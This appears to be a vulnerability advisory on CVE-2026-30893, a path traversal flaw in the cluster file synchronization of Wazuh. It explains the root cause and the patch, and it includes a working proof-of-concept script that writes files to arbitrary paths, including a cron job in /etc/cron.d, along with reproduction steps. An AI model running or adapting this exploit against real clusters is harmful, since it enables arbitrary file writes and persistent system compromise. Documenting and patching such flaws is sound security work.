Introduction
A path traversal flaw in Wazuh's cluster synchronization protocol lets an authenticated peer node write arbitrary files anywhere on the filesystem of other cluster members. That turns a single compromised node into a launchpad for taking over the whole cluster. CVE-2026-30893 carries a CVSS score of 9.0 and has a public proof of concept, so it is a serious risk for the many organizations that run Wazuh as their security monitoring infrastructure.
Wazuh is a free and open source platform that combines Extended Detection and Response (XDR) and Security Information and Event Management (SIEM) capabilities. The vendor reports protecting over 15 million endpoints across more than 100 thousand enterprise users, including Fortune 500 companies. Because a security platform often runs with elevated privileges and sits at the center of an organization's detection pipeline, a bug in Wazuh carries outsized consequences.
Technical Information
Root Cause
The vulnerability lives in the decompress_files() function in framework/wazuh/core/cluster/cluster.py. This function extracts files received during cluster synchronization between Wazuh master and worker nodes. The core issue is simple: file paths embedded in the synchronization archive payload go straight to Python's os.path.join() with no path containment, normalization, or validation.
Python's os.path.join() has a well documented behavior that is often the source of path traversal bugs. If any component argument is an absolute path, all previous components are silently discarded. So a payload containing a path like /etc/cron.d/backdoor makes os.path.join(base_dir, "/etc/cron.d/backdoor") return /etc/cron.d/backdoor, ignoring the intended base directory.
Attack Flow
The Wazuh cluster protocol uses a custom archive format to synchronize files between nodes. This archive embeds file paths and their compressed contents, separated by specific delimiters (|@@//@@| between files, |//@@//| between a file's path and its content). During normal operations, decompress_files() runs when processing worker integrity metadata, extra valid files from workers, and other synchronization payloads.
An attacker who has authenticated as a cluster peer (which requires possession of the cluster key) can craft a malicious synchronization archive with two kinds of path manipulation:
-
Absolute path injection: The attacker embeds an absolute path such as
/etc/cron.d/wazuh_exploitas the filename in the archive. Whenos.path.join()hits this absolute path, it discards the base extraction directory and writes directly to the specified location. -
Relative directory traversal: The attacker uses sequences like
../../../../tmp/PWNED_TRAVERSAL.txtto escape the intended extraction directory by climbing up the directory tree.
Both variants exploit the same underlying issue: decompress_files() trusts the file paths provided by the sending peer without checking them.
Impact by Execution Context
How bad exploitation gets depends on the privilege level of the Wazuh cluster daemon:
Default installation (wazuh user): An attacker can write to any path writable by the wazuh user. That includes overwriting Python modules in the /var/ossec/wodles/ directory, which Wazuh components load. Overwriting these modules gives code execution in the Wazuh service context.
Elevated context (root user): Where the cluster daemon runs as root, which is common in Docker environments, the attacker can write to any location on the filesystem. This enables full system compromise through writes to /etc/cron.d/ for persistent command execution, /root/.ssh/authorized_keys for SSH access, or any other sensitive system path.
Proof of Concept
A complete proof of concept is provided directly in the GitHub Security Advisory GHSA-m8rw-v4f6-8787. The script builds a malicious cluster sync payload that demonstrates both variants, then calls the real vulnerable decompress_files() function:
#!/usr/bin/env python3 import os import zlib FILE_SEP = '|@@//@@|' PATH_SEP = '|//@@//|' print("Step 1: Creating malicious cluster sync payload") exploit_content = b'PWNED BY PATH TRAVERSAL' cron_payload = b'* * * * * root echo EXPLOITED >> /tmp/cron_proof\n' payloads = [] payloads.append(b'files_metadata.json' + PATH_SEP.encode() + zlib.compress(b'{}')) payloads.append(b'/tmp/PWNED_ABSOLUTE.txt' + PATH_SEP.encode() + zlib.compress(exploit_content)) payloads.append(b'../../../../tmp/PWNED_TRAVERSAL.txt' + PATH_SEP.encode() + zlib.compress(exploit_content)) payloads.append(b'/etc/cron.d/wazuh_exploit' + PATH_SEP.encode() + zlib.compress(cron_payload)) archive = FILE_SEP.encode().join(payloads) with open('/tmp/malicious.zip', 'wb') as f: f.write(archive) print("Step 2: Invoking actual Wazuh decompress_files() function") from wazuh.core.cluster.cluster import decompress_files result = decompress_files('/tmp/malicious.zip') print("Step 3: Verifying exploitation") for target in ['/tmp/PWNED_ABSOLUTE.txt', '/tmp/PWNED_TRAVERSAL.txt', '/etc/cron.d/wazuh_exploit']: if os.path.exists(target): print(f"[EXPLOITED] {target}")
Reproduction steps from the advisory:
- Start a Wazuh 4.14.2 (or any affected version from 4.4.0 up to but not including 4.14.4) manager environment.
- Copy the PoC script into the container.
- Run it with Wazuh's embedded Python:
/var/ossec/framework/python/bin/python3 /tmp/poc_complete.py - Observe files created at
/tmp/PWNED_ABSOLUTE.txt,/tmp/PWNED_TRAVERSAL.txt, and/etc/cron.d/wazuh_exploit.
The payload includes a cron job entry that, once written to /etc/cron.d/ on a root context deployment, would run arbitrary commands every minute. That is the path from arbitrary file write to persistent system compromise.
Patch Information
The Wazuh team fixed CVE-2026-30893 in Pull Request #34464 ("Improve cluster file sync path handling"), merged on February 12, 2026 and shipped in Wazuh v4.14.4, released on March 17, 2026.
Rather than bolt ad hoc path checks onto every call site, the developers added a centralized safe_join() utility in framework/wazuh/core/cluster/utils.py:
@lru_cache() def safe_join(base_path: str, *paths: str) -> str: safe_paths = [p.lstrip(os.sep).lstrip("/") for p in paths] base = os.path.normpath(base_path) final_path = os.path.normpath(os.path.join(base, *safe_paths)) if os.path.commonpath([base, final_path]) != base: raise WazuhInternalError(3003, extra_message=f"unsafe path '{final_path}'") return final_path
This function applies three defensive layers:
-
Absolute path neutralization:
p.lstrip(os.sep).lstrip("/")strips leading path separators from each component, which defeats the absolute path injection variant whereos.path.join()would otherwise discard the base directory. -
Path normalization: Both the base and the resulting joined path pass through
os.path.normpath(), which resolves..,., and redundant separators into a canonical form. This collapses traversal sequences likesub/../../etc/passwdbefore the containment check. -
Containment verification:
os.path.commonpath([base, final_path])is compared against the base. If the final resolved path has escaped the intended directory tree,commonpathreturns a parent ofbase, the check fails, and aWazuhInternalError(3003)is raised.
The result is cached via @lru_cache() for performance during bulk file synchronization.
The fix was applied across every location where sync file paths are resolved:
cluster.pyindecompress_files()(the primary vulnerable function):os.path.join(decompress_dir, filepath.decode())was replaced withsafe_join(decompress_dir, filepath.decode())master.pyinprocess_files_from_worker(): fouros.path.join()calls were replaced withsafe_join()worker.pyinoverwrite_or_create_files(): sixos.path.join()calls were replaced withsafe_join()
A new error code (3003) was added to framework/wazuh/core/exception.py with the message "Error during file handling" to surface path containment violations. The team also added parametrized pytest cases that check safe_join allows legitimate sub paths (for example sub/file.txt, ./file.txt) while raising WazuhInternalError for traversal attempts (../, ../../etc/passwd, and multi component traversal).
Affected Systems and Versions
The vulnerability affects Wazuh versions 4.4.0 through 4.14.3 (inclusive). Any Wazuh cluster deployment on a version in this range, where cluster synchronization is active between master and worker nodes, is vulnerable.
Deployments running the cluster daemon with root privileges, the default in Docker based deployments, face the highest risk, since exploitation leads to full system compromise rather than being limited to the Wazuh service context.
The fix is available in Wazuh version 4.14.4 and later.
Vendor Security History
Wazuh runs an active security advisory program and encourages private vulnerability disclosure. The release of version 4.14.4 to address this flaw shows the team responds to critical issues. Because the platform is open source, both the vulnerabilities and their fixes can be audited in the open, and this patch takes a mature approach: a centralized safe path utility instead of point fixes, backed by test coverage.



